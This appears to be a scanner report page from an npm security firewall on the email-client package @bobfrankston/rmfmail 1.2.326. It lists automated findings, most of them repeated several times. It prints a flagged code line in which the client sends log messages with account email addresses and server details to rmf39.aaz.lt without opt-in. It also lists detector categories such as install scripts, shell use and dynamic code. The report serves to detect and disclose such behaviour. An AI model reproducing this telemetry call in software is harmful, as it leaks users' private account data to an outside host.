Loading npm security reports…

@bobfrankston/rmfmail@1.2.326: Malicious npm security report | LPM Firewall

registry / @bobfrankston/rmfmail / 1.2.326

@bobfrankston/rmfmail@1.2.326

Local-first email client with IMAP sync and standalone native app

AI Security Review

scanned 23d ago · by lpm-firewall-ai

At runtime, the web client sends application console logs and account metadata to a package-controlled host. Account email addresses and mail-server details are included without a user-controlled opt-in shown in the inspected code.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Starting the web or Android mail client and loading configured accounts.

Impact

Private account identifiers, email addresses, server details, and potentially sensitive logged application data can be disclosed to rmf39.aaz.lt.

Mechanism

Remote telemetry logging of account metadata and console output.

Attack narrative

When the client initializes an account, SyncManager constructs a log message containing its identifier, email address, IMAP host, and authentication type. The worker sends that message to rmf39.aaz.lt. Separately, the browser client replaces console logging with a remote logger that serializes objects and sends up to 500 characters of each message to the same host. This is automatic runtime disclosure rather than mail-client functionality needed to synchronize mail.

AI rationale

The package automatically exports account metadata and broad console telemetry to an external host. This is a concrete, privacy-impacting exfiltration channel.

Evidence

client/index.htmlpackages/mailx-store-web/worker-entry.tspackages/mailx-store-web/sync-manager.ts

Network endpoints1

rmf39.aaz.lt

Decision evidence

Source & flagged code

24 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

27 "build": "npm run build --workspaces --if-present && tsc -p bin && node bin/build-icon-ico.js && node bin/build-rmfmailto-exe.js && node bin/build-rmfshare-exe.js && node bin/build-rmf-tiny.js && node bin/build-tinymce.js && node bin/build-quill.js && node bin/build-spellcheck-dict.js && node bin/build-bundles.mjs",

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

31 "test:fast": "node --experimental-strip-types --test tests/dedup.test.ts tests/dedup-newest.test.ts tests/dupcount.test.ts tests/search.test.ts tests/sync-coalesce.test.ts tests/undelete.test.ts tests/body-load.test.ts tests/allowlist-merge.test.ts tests/attachment-bytes.test.ts tests/web-list-filters.test.ts tests/log-changes.test.ts tests/dom/_smoke.test.ts tests/dom/viewer-scroll.test.ts tests/dom/viewer-rerender-guard.test.ts tests/dom/harper-lint.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.68",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.186",

38 "@bobfrankston/mailx-store-web": "^0.1.119",

39 "@bobfrankston/mailx-sync": "^0.1.29",

40 "@bobfrankston/miscinfo": "^1.0.23",

41 "@bobfrankston/msger": "^0.1.431",

42 "@bobfrankston/node-tcp-transport": "^0.1.10",

43 "@bobfrankston/oauthsupport": "^1.0.35",

44 "@bobfrankston/rmf-tiny": "^0.1.54",

45 "@bobfrankston/smtp-direct": "^0.1.9",

46 "@bobfrankston/tcp-transport": "^0.1.8",

47 "@capacitor/android": "^8.3.0",

48 "@capacitor/cli": "^8.3.0",

49 "@capacitor/core": "^8.3.0",

50 "dictionary-en": "^4.0.0",

51 "express": "^4.21.0",

52 "harper.js": "^2.4.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

bin/mailx.jsView file

Lines 222-262javascript

222 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

223 const __rmfmailtoExe = path.join

client/app.bundle.jsView file

12284try { L12285: const fn = new Function(`return (async () => (${code}))();`); L12286: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12284

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 12

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/mailx.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/build-rmfmailto-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/build-rmfshare-exe.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/share-target.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/share-target.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/android-bootstrap.bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/lib/local-service.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/compose/spellcheck-core.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/compose/spellcheck-core.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/compose/spellcheck.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = client/compose/spellcheck.ts matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

Source & flagged code

24 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/build-bundles.mjsView file

31{ L32: const { execFileSync } = await import("node:child_process"); L33: try {

High

Child Process

Package source references child process execution.

bin/build-bundles.mjsView on unpkg · L31

5Cross-file remote execution chain: bin/build-bundles.mjs spawns client/android-bootstrap.bundle.js; helper contains network access plus dynamic code execution. L5: * mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAcce

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

bin/build-bundles.mjsView on unpkg · L5

5* mailx's msger custom protocol routes every fetch through one IPC channel L6: * (Rust → daemon stdin → response → stdout), so an ES module import cascade L7: * pays a multi-second roundtrip per file. With ~17 client-side modules each ... L31: { L32: const { execFileSync } = await import("node:child_process"); L33: try { ... L162: logLevel: "info", L163: // .wasm files are inlined as base64 data URLs so the runtime can L164: // decode → Uint8Array → pass as initSqlJs({ wasmBinary }), bypassing L165: // sql.js's fetch(...) of the .wasm. Android WebView refuses to L166: // compile WASM fetched from file:// (even with AllowFileAccess /

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bin/build-bundles.mjsView on unpkg · L5

bin/mailx.jsView file

242// reg.exe value for `\"path\" \"%1\"` — double-backslash escapes for L243: // cmd.exe's shell layer, which strips one level before the value reaches L244: // reg.exe. Quoting %1 keeps `?` and `&` from being eaten by cmd before

High

Shell

Package source references shell execution.

bin/mailx.jsView on unpkg · L242

707// session — inherits it. On Windows a process's cwd holds the directory L708: // locked, so `npm install -g` (the in-app self-update AND a manual update) L709: // dies with EBUSY renaming .../rmfmail/bin for as long as we run ... L720: if (!verbose && !isDaemon && !process.argv.slice(2).some(a => /^-/.test(a))) { L721: const { spawn } = await import("node:child_process"); L722: const child = spawn(process.execPath, [...process.argv.slice(1), "--daemon"], {

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/mailx.jsView on unpkg · L707

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.324 matchedPath = bin/mailx.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.324 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.jsView on unpkg

client/app.bundle.jsView file

12284try { L12285: const fn = new Function(`return (async () => (${code}))();`); L12286: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12284

bin/lean-accounts.jsView file

136if (fs.existsSync(path.join(dir, "package.json"))) { L137: const mod = await import(pathToFileURL(path.join(dir, "lib", "esm", "main.js")).href).catch(() => null) || L138: await import("jsonc-parser").catch(() => null);

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/lean-accounts.jsView on unpkg · L136

packages/mailx-store-web/worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

packages/mailx-store-web/worker-entry.tsView on unpkg · L37

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 12

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

Source & flagged code

24 flagged

package.jsonView file

Lines 12-52json

12 "rmfmail-mcp": "bin/mcp-server.js"

13 },

14 "workspaces": [

15 "packages/mailx-types",

16 "packages/mailx-bus",

17 "packages/mailx-host",

18 "packages/mailx-settings",

19 "packages/mailx-store",

20 "packages/mailx-store-web",

21 "packages/mailx-imap",

22 "packages/mailx-service",

23 "packages/mailx-api",

24 "client"

25 ],

26 "scripts": {

28 "watch": "tsc -w",

29 "release": "npmglobalize",

30 "test": "node --experimental-strip-types --test tests/*.test.ts tests/dom/*.test.ts",

32 "postinstall": "node bin/postinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L32

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L32

33 },

34 "dependencies": {

35 "@bobfrankston/iflow-direct": "^0.1.68",

36 "@bobfrankston/mailx-host": "^0.1.15",

37 "@bobfrankston/mailx-imap": "^0.1.186",

38 "@bobfrankston/mailx-store-web": "^0.1.119",

39 "@bobfrankston/mailx-sync": "^0.1.29",

40 "@bobfrankston/miscinfo": "^1.0.23",

41 "@bobfrankston/msger": "^0.1.431",

42 "@bobfrankston/node-tcp-transport": "^0.1.10",

43 "@bobfrankston/oauthsupport": "^1.0.35",

44 "@bobfrankston/rmf-tiny": "^0.1.54",

45 "@bobfrankston/smtp-direct": "^0.1.9",

46 "@bobfrankston/tcp-transport": "^0.1.8",

47 "@capacitor/android": "^8.3.0",

48 "@capacitor/cli": "^8.3.0",

49 "@capacitor/core": "^8.3.0",

50 "dictionary-en": "^4.0.0",

51 "express": "^4.21.0",

52 "harper.js": "^2.4.0",

bin/build-bundles.mjsView file

Lines 1-51javascript

1#!/usr/bin/env node

2/**

3 * Bundle client entry points so cold-start drops from ~43 s to ~2 s.

4 *

5 * mailx's msger custom protocol routes every fetch through one IPC channel

6 * (Rust → daemon stdin → response → stdout), so an ES module import cascade

7 * pays a multi-second roundtrip per file. With ~17 client-side modules each

8 * pulling in transitive deps, the WebView is paying that cost N times in

9 * series.

10 *

bin/mailx.jsView file

Lines 222-262javascript

222 const __perAppBin = path.join(process.env.LOCALAPPDATA || "", "rmfmail", "bin");

223 const __rmfmailtoExe = path.join

client/app.bundle.jsView file

12284try { L12285: const fn = new Function(`return (async () => (${code}))();`); L12286: let v = await fn();

Low

Eval

Package source references a known benign dynamic code generation pattern.

client/app.bundle.jsView on unpkg · L12284

bin/lean-accounts.jsView file

Lines 116-156javascript

116 const inputPath = args.find(a => !a.startsWith("--"));

117 const inplace = args.includes

packages/mailx-store-web/worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

20// ── Globals ──

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

bin/rmfshare.exeView file

•path = bin/rmfshare.exe kind = native_binary sizeBytes = 4603904 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

bin/rmfshare.exeView on unpkg

bin/share-target.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 12

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

bin/share-target.js#virtual:normalized:round1View on unpkg

bin/mailx.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/mailx.tsView on unpkg

bin/build-rmfmailto-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfmailto-exe.jsView on unpkg

bin/build-rmfshare-exe.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build-rmfshare-exe.jsView on unpkg

bin/share-target.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.jsView on unpkg

bin/share-target.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/share-target.tsView on unpkg

client/android-bootstrap.bundle.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/android-bootstrap.bundle.jsView on unpkg

client/lib/local-service.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/lib/local-service.tsView on unpkg

client/compose/spellcheck-core.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.jsView on unpkg

client/compose/spellcheck-core.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck-core.tsView on unpkg

client/compose/spellcheck.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.jsView on unpkg

client/compose/spellcheck.tsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

client/compose/spellcheck.tsView on unpkg

@bobfrankston/rmfmail@1.2.326

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code